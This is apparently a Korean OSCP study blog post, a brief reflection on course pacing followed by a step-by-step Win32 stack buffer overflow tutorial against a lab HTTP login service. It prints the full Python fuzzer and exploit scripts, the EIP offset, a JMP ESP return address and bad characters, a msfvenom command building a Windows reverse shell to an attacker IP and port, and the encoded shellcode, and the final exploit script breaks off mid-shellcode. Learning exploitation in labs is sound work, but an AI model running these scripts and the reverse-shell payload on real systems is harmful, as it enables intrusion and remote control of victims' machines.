아무래도 이상해 다시 알아보니

2018년까지 제공된 PDF 문서가 '380'쪽.

그러니 동영상 길이가 7시간 반(149개)

일 수 있었던 것.

 

 

 

어쩐지..;;

 

 

 

현재는 그때보다 대폭 늘어나

문서는 두 배가 넘는 851쪽,

동영상 길이 역시 그에 맞춰

늘어났으니(425개)

 

 

 

당연히 삼일 안에 끝내기는

현실적으로 불가능했다.

 

 

 

Active Directory 등의

새로운 과목이 추가되면서

기존보다 범위와 분량이 늘어난 것인데

 

 

 

이걸 어떻게 삼일 안에 끝냈는지

궁금하기도 했고, 사실이라면

내가 진도를 더디게 나가는 건 아닌지

조바심이 생겨 찾아본 것.

 

 

 

내가 더딘 게 아니라는 것을

확인했으니 되었고 일단 하던 대로

내 페이스를 유지해 계속 가보자.

 

 

 

닷새로 시간표를 수정했는데

모르는 것 공부하면서 하다 보면

더 걸릴 수도 있겠다.

 

 

 

코스 두 달짜리 끊기 정말 잘했다.

천만다행이다. 한 달짜리 끊었으면

진짜 엄청 조급했을 듯...

 

 

 

배우는 입장에서야 더 다양하게

배울 수 있으니 좋긴 한데 반대로

그만큼 익힐 것이 더 많아졌다.

 

 

 

 

 


 

 

 

 

Buffer overflow (WIN32 BOF)

 

 

ESP - The Stack Pointer

As previously mentioned, the stack is used for storage of data, pointers, and arguments. Since the

stack is dynamic and changes constantly during program execution, ESP, the stack pointer, keeps

“track” of the most recently

 

EBP - The Base Pointer

Since the stack is in constant flux during the execution of a thread, it can become difficult for a

function to locate its own stack frame, which stores the required arguments, local variables, and

the return address. EBP, the base pointer, solves this by storing a pointer to the top of the stack

when a function is called. By accessing EBP, a

function can easily reference information from its

own stack frame (via offsets) while executing.

 

EIP - The Instruction Pointer

EIP, the instruction pointer, is one of the most important registers for our purposes as it always

points to the next code instruction to be executed. Since EIP essentially directs the flow of a

program, it is an attacker’s primary target when exploiting any memory corruption vulnerability

such as a buffer overflow.

 

 


 

 

Steps of BOF Exploitation

 

 

 

1. 퍼징 테스트로 bof 취약점 있는지 확인 : 충돌 지점 확인

OffSec 에서 제공한 버전 (돌리고 충돌지점에서 수동으로 멈춰야 함)
┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step1.py
  
#!/usr/bin/python
import socket
import time
import sys

size = 100

while(size < 2000):
  try:
    print "\nSending evil buffer with %s bytes" % size

    inputBuffer = "A" * size
    
    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    size += 100
    time.sleep(1)
  
  except:
    print "\nCould not connect!"
    sys.exit()

 

 

1-2 충돌 지점 재확인

충돌 지점이 800 정도였다면

보내는 데이터 크기를 800바이트로 재 설정 후

다시 보내본다.

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step2.py               
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... " 

    size = 800

    inputBuffer = "A" * size
    
    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

 


 

 

 

2. Controlling EIP(4bytes) :

정확한 EIP 주솟값을 알아내기 위한 방법.

 

 

 

2-1. Offset 값 찾기

 

- Binary tree analysis 방법 -

A를 800번 보내던 것을 'B'와 나누어

각각 400번씩 나눠 보낸다.

 

 

범위를 좁히기 위한 작업으로

B에서 충돌이 날 경우 이를 다시 C와

200번씩 나누어 보내본다.

 

 

C에서 충돌이 난다면

600에서 800 사이에 EIP가 있다는 것.

 

 

위와 같은 방법으로 일일이 해도 되지만

이를 쉽게 하는 방법이 있다.

 

 

- 반복되지 않는 긴 문자열 보내기-

metasploit의 patter_create 루비 스크립트를

사용하면 반복되지 않는 문자열을 만들 수 있는데

 

 

/usr/bin에 등록되어 있어 어디서든

msf-pattern_create 명령어로 실행이 가능하다.

┌──(root💀takudaddy)-[/oscp/bof]
└─# locate pattern_create    
/usr/bin/msf-pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
             

이 명령어로 800바이트의 반복되지 않는 데이터 생성
┌──(root💀takudaddy)-[/oscp/bof]
└─# msf-pattern_create -l 800                       # -l = length of parameter                  1 ⨯
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba



해당 데이터 값을 새로 넣어 준다.
┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step3.py
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... " 

    inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
    
    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"
                                      

 

 

 

툴을 실행해보면

 

EIP 주소에 42306142 값이 등록되는 것을

확인할 수 있는데 이는 16진수(Hexdecimal) 값으로

이를 문자로 변환해 보면

42 = B

30 = 0

61 = a

42 = B

B0aB.

 

 

위에서 생성한 무작위 문자열에서

해당 데이터 값 위치를 찾아 offset 값을

찾아봐도 되지만

 

 

metasploit의 pattern_offset

명령어로 간단히 확인이 가능하다.

 

┌──(root💀takudaddy)-[/oscp/bof]
└─# locate pattern_offset                                                1 ⨯
/usr/bin/msf-pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
                                                                             
┌──(root💀takudaddy)-[/oscp/bof]
└─# msf-pattern_offset -l 800 -q 42306142
[*] Exact match at offset 780

 

정확한 offset 값은 780

 

 

 

 

 

2-2. 정확한 EIP 주소 확인

offset 값을 알았으니

버퍼 문자열을 수정해 정확한

EIP 위치를 알아본다.

 

 

방법은

A * 780 + B*4 + C* 16

 

Offset이 780이니 이를 벗어나면 EIP다.

780은 A로 채우고 B를 4 바이트 보내 (42424242)

EIP에 정확히 들어가는지 확인할 수 있고

엑스트라 버퍼 C를 16바이트 보내

처음에 찾은 800 바이트를 완성해본다.

 

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step4.py               
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... " 

    filler = "A" * 780
    EIP = "B" * 4
    buffer = "C" * 16

    inputBuffer = filler + EIP + buffer

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

프로그램을 돌려보면

EIP가 BBBB로 정확히 채워졌다.

이제 EIP를 통제할 수 있게 되었다.

 

 


 

 

 

3. Shell 코드 실행 준비 작업

 

3-1 쉘 코드 올릴 공간 확인 :

우리가 임의의 주소를

EIP에 배치할 수는 있지만

이게 앞으로 넣을 공격 코드가 실행되는

실제 주소는 아니고 실제 주소는

모르는 상황이다.

 

 

일단 실행하려는 공격 코드 생성 방법을

살펴보고 해당 코드를 메모리 어느 주소에

올려야 하는지 알아야 한다.

 

 

우선 마지막에 툴을 돌린 후 결과를 다시 보자.

의도대로 EIP는 B로 채워졌고

EIP와 ESP 사이에 4바이트의

더미 공간이 있는 것을 볼 수 있다.

 

 

ESP는 EIP 바로 다음에 나오는

4 바이트의 C 더미 공간,

그다음의 4 바이트 C 주소인

01BF745C를 가리키고 있다.

 

 

이 말인즉슨

ESP 주소에 쉽게 접근이 가능단 뜻이고

이곳이 쉘 코드를 올리기에 편리한

위치라는 것이다.

 

 

그렇다면 이번에 할 작업은

쉘 코드를 올릴 충분한 공간이

있는지 확인하는 것.

 

 

위에서 C를 16 바이트를 보냈었고

메모리가 이를 모두 받아 주는 것을

확인했는데

 

 

일반적인 리버스 쉘의 크기는

350~ 400 바이트 정도.

 

 

이번에는 800바이트가 아니라

넉넉히 1500바이트 정도의

공간 사용이 가능한지 확인해 본다.

 

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step5.py               
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... " 

    filler = "A" * 780
    EIP = "B" * 4
    offset = "C" * 4        # EIP와 ESP 사이의 공간 4바이트
    buffer = "D" * (1500 - len(filler) - len(EIP) - len(offset))

    inputBuffer = filler + EIP + offset + buffer

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

끝 지점을 살펴보면

 

 

HEX 2C4

즉 708 바이트의 여유 공간이 있다는 뜻이다.

 

 

주목해야 할 점은 ESP의 주소는

우리가 공격을 시도할 때마다 달라지지만

언제나 우리가 넣은 버퍼 값을 가리키고 있다는

것이다.

 

 

 

 

3-2 Bad Character 가려내기 :

앱의 종류 / 취약점 타입 / 사용 중인

프로토콜에 따라 사용하면 안 되는

문자들이 있고 종류는 모두 다르다.

 

 

* 대표적으로는 Null byte 0x00이 있고

HTTP 관련해서는 0x0D가 있음

 

 

그것들을 찾아내

버퍼의 문자열이나,

리턴 어드레스, 쉘 코드에

사용하지 않도록 해야 한다.

 

 

확인하는 방법은 x00을 제외한

모든 경우의 수의 HEX 문자열을

돌려본 후 찾아내는 것이다.

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step6_bad_char.py 
#!/usr/bin/python
import socket


badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )


try:
    print "\nSending evil buffer... " 

    filler = "A" * 780
    EIP = "B" * 4
    offset = "C" * 4
    #buffer = "D" * (1500 - len(filler) - len(EIP) - len(offset))

    inputBuffer = filler + EIP + offset + badchars

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

돌려본 후

 

 

ESP에서 우 클릭 > Follow in Dump 선택 

 

 

3번 패널에서

hex 캐릭터로 입력된 값을 확인해 보면

0x09 다음에 나와야 할 0x0a가 보이지 않는다.

 

 

0a는 http에서 줄 바꿈(캐리지 리턴) 방식으로

해당 필드를 종료하는 역할을 해

배제시키는 대표적 bad character 중 하나.

 

 

공격 코드에서 0a를 지운 뒤 다시 돌려보면

이번에는 위에서 언급한 0d가

없다.

 

 

이런 방법으로 찾아보면

0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, 0x3D

가 bad characters다.

 

 

여기까지 상황을 정리해 보면

우리는 EIP 레지스터를 제어할 수 있고

ESP 레지스터를 통해 접근할 수 있는

공간에 쉘 코드를 올릴 수 있게 되었으며

사용하지 말아야 할 문자들과

안전하게 사용할 수 있는 문자들을 확인했다.

 

 

이제 다음 스텝으로

프로그램이 쉘 코드가 위치할

ESP가 가리키는 메모리 주소로 가도록

redirect 하는 방법을 찾는 작업이다.

 

 

가장 직관적인 접근 방법은

EIP를 덮어쓴 B 자리를

ESP가 가리킬 주소로

덮어 씌우는 것이다.

 

 


 

 

4. Return Address 찾기 : JMP ESP

 

 

프로그램을 실행시킬 때마다

ESP의 주소는 계속 변한다.

그렇기에 언제든 정확히 ESP의 주소로

보내는 방법을 찾아야 하는데

 

 

여기서 소개하는 한 가지 방법은 바로

JMP ESP 명령어를 활용하는 것으로

프로그램 실행 시 해당 명령어를 만나면

ESP가 가리키고 있는 주소로 점프 시키는

것이다.

 

 

그렇다면

이 JMP ESP 명령어가 수행될

정확한 주소를 찾을 수만 있다면

이를 활용해 EIP를 해당 주소로

보낼 수 있을 것이고 또한 쉘이

실행 되도록 할 수 있을 것이다.

 

 

작업에 앞서 알아둬야 할 점은

윈도우에 설치된 기본 라이브러리에는

위와 같은 공격을 방지하는 기능들이

들어가 있다는 것, 대표적으로

ASLR 등의 기능이 있고 이것들을

우회해 공격을 시도해야 하는데

 

 

그렇기에 bad characters를 찾는

작업과 주솟값이 변하지 않는

고정 주소를 찾아 작업을 하는 일들이

중요한 것이다.

 

 

 

 

4-1 Mona 모듈 사용하기

 

Immunity Debugger에 추가 설치한

Mona라는 모듈을 통해 우리가 작업 중인

프로그램의 dll 및 exe 파일 정보를 불러온다.

 

출력값을 보면

해당 프로그램 모듈의 메모리 주소와

크기, 기능, 이름, 경로 등을 확인할 수 있는데

 

 

SafeSEH (Structured Exception Handler Overwrite,

an exploit-preventative memory protection technique),

ASLR, and NXCompat (DEP protection)

기능이 비활성화되어 있다.

 

 

말인즉슨, 이 실행 파일은

메모리 보호 체계로 컴파일 되지 않았고

항상 동일한 메모리 주소로 로딩 된다는 뜻.

이건 좋은 싸인이지만

 

Base(기본) 메모리 주소가 0x00400000,

곧 모든 instruction의 주소가 이를 토대로,

0x004xxxxx 형식으로 로딩된다는 뜻이고

(출력 범위 : Base ~ top을 보면 알 수 있다)

0x00 형식은 우리가 피해야 할 Null Byte로

결국 이곳을 통해서는 작업을 할 수 없다.

 

 

그렇다면 어떻게 해야 할까?

 

프로그램의 다른 모듈을 살펴보면

주솟값이 0x1000XXXX로 시작되는

libspp.dll 이란 파일이 있고

bad character를 포함하고 있지 않기 때문에

작업하기 적합한 곳으로 보인다.

 

 

이제 해당 모듈의 JMP ESP

주소를 찾아야 한다.

이뮨디버거를 통해 알아볼 수 있지만

절차가 번거롭기에 계속해서

Mona를 통해 검색을 해본다.

 

 

먼저 msf-nasm_shell 명령어를 통해

JMP ESP의 opcode를 확인해본다.

 

┌──(root💀takudaddy)-[~]
└─# locate nasm_shell    
/usr/bin/msf-nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
                                                                             
┌──(root💀takudaddy)-[~]
└─# msf-nasm_shell                       
nasm > jmp esp
00000000  FFE4              jmp esp
nasm > exit

 

 

JMP ESP의 옵 코드는 FFE4

이를 활용해 검색해 본다.

JMP ESP의 주소는

0x10090c83이고

bad characters는 포함하고 있지 않다.

 

 

해당 주소로 이동해 보면

 

JMP ESP 주소가 확실하다.

 

 

이제 EIP를 해당 주소로 리다이렉트 시키면

프로그램 충돌 시 JMP ESP를 통해

쉘 코드가 실행될 것이다.

 

 

간단한 실험을 위해

프로그램 + 이뮨디버거를 재기동 후

위 주소로 이동한 뒤 해당 지점에

브레이크(F2)를 걸어 준 뒤 기동시킨다.

 

 

칼리로 돌아와 새 코드 작성.

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step7_new_IEP.py 
#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... " 

    filler = "A" * 780
    EIP = "\x83\x0c\x09\x10"         # JMP ESP 주소를 리틀 엔디언 방식으로 넣어줌
    offset = "C" * 4
    buffer = "D" * (1500 - len(filler) - len(EIP) - len(offset))

    inputBuffer = filler + EIP + offset + buffer

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

공격을 실행해보면

 

 

 

 

EIP 주소가 libspp의 JMP ESP 주소로 되어 있고

F7을 눌러 쉘 코드가 실행될 해당 부분 안에 들어가 보면

D로 가득 차 있는 것을 확인했다.

 

 

준비가 끝났다.

이제 쉘 코드를 만들어

올려주기만 하면 된다.

 

 

 


 

 

5. payload

 

 

msfvenom으로 리버스 쉘을 만들면 되는데

배제시킬 문자열 지정까지 꼭 해줘야 한다.

-e encoder -b

┌──(root💀takudaddy)-[/oscp/bof]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.160 LPORT=7979 -f c \
-e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"             

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xb8\xe3\xe1\x39\xf1\xd9\xe5\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x31\x43\x12\x03\x43\x12\x83\x20\xe5\xdb\x04\x5a\x0e\x99"
"\xe7\xa2\xcf\xfe\x6e\x47\xfe\x3e\x14\x0c\x51\x8f\x5e\x40\x5e"
"\x64\x32\x70\xd5\x08\x9b\x77\x5e\xa6\xfd\xb6\x5f\x9b\x3e\xd9"
"\xe3\xe6\x12\x39\xdd\x28\x67\x38\x1a\x54\x8a\x68\xf3\x12\x39"
"\x9c\x70\x6e\x82\x17\xca\x7e\x82\xc4\x9b\x81\xa3\x5b\x97\xdb"
"\x63\x5a\x74\x50\x2a\x44\x99\x5d\xe4\xff\x69\x29\xf7\x29\xa0"
"\xd2\x54\x14\x0c\x21\xa4\x51\xab\xda\xd3\xab\xcf\x67\xe4\x68"
"\xad\xb3\x61\x6a\x15\x37\xd1\x56\xa7\x94\x84\x1d\xab\x51\xc2"
"\x79\xa8\x64\x07\xf2\xd4\xed\xa6\xd4\x5c\xb5\x8c\xf0\x05\x6d"
"\xac\xa1\xe3\xc0\xd1\xb1\x4b\xbc\x77\xba\x66\xa9\x05\xe1\xee"
"\x1e\x24\x19\xef\x08\x3f\x6a\xdd\x97\xeb\xe4\x6d\x5f\x32\xf3"
"\x92\x4a\x82\x6b\x6d\x75\xf3\xa2\xaa\x21\xa3\xdc\x1b\x4a\x28"
"\x1c\xa3\x9f\xff\x4c\x0b\x70\x40\x3c\xeb\x20\x28\x56\xe4\x1f"
"\x48\x59\x2e\x08\xe3\xa0\xb9\xf7\x5c\xdd\x99\x90\x9e\x21\xc5"
"\x4b\x16\xc7\x93\x9b\x7e\x50\x0c\x05\xdb\x2a\xad\xca\xf1\x57"
"\xed\x41\xf6\xa8\xa0\xa1\x73\xba\x55\x42\xce\xe0\xf0\x5d\xe4"
"\x8c\x9f\xcc\x63\x4c\xe9\xec\x3b\x1b\xbe\xc3\x35\xc9\x52\x7d"
"\xec\xef\xae\x1b\xd7\xab\x74\xd8\xd6\x32\xf8\x64\xfd\x24\xc4"
"\x65\xb9\x10\x98\x33\x17\xce\x5e\xea\xd9\xb8\x08\x41\xb0\x2c"
"\xcc\xa9\x03\x2a\xd1\xe7\xf5\xd2\x60\x5e\x40\xed\x4d\x36\x44"
"\x96\xb3\xa6\xab\x4d\x70\xd6\xe1\xcf\xd1\x7f\xac\x9a\x63\xe2"
"\x4f\x71\xa7\x1b\xcc\x73\x58\xd8\xcc\xf6\x5d\xa4\x4a\xeb\x2f"
"\xb5\x3e\x0b\x83\xb6\x6a";

 

 

페이로드 전문

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step8_shellcode.py                       
#!/usr/bin/python
import socket

try:
    print "\nSending evil buffer... "

    shellCode =("\xb8\xe3\xe1\x39\xf1\xd9\xe5\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
    "\x52\x31\x43\x12\x03\x43\x12\x83\x20\xe5\xdb\x04\x5a\x0e\x99"
    "\xe7\xa2\xcf\xfe\x6e\x47\xfe\x3e\x14\x0c\x51\x8f\x5e\x40\x5e"
    "\x64\x32\x70\xd5\x08\x9b\x77\x5e\xa6\xfd\xb6\x5f\x9b\x3e\xd9"
    "\xe3\xe6\x12\x39\xdd\x28\x67\x38\x1a\x54\x8a\x68\xf3\x12\x39"
    "\x9c\x70\x6e\x82\x17\xca\x7e\x82\xc4\x9b\x81\xa3\x5b\x97\xdb"
    "\x63\x5a\x74\x50\x2a\x44\x99\x5d\xe4\xff\x69\x29\xf7\x29\xa0"
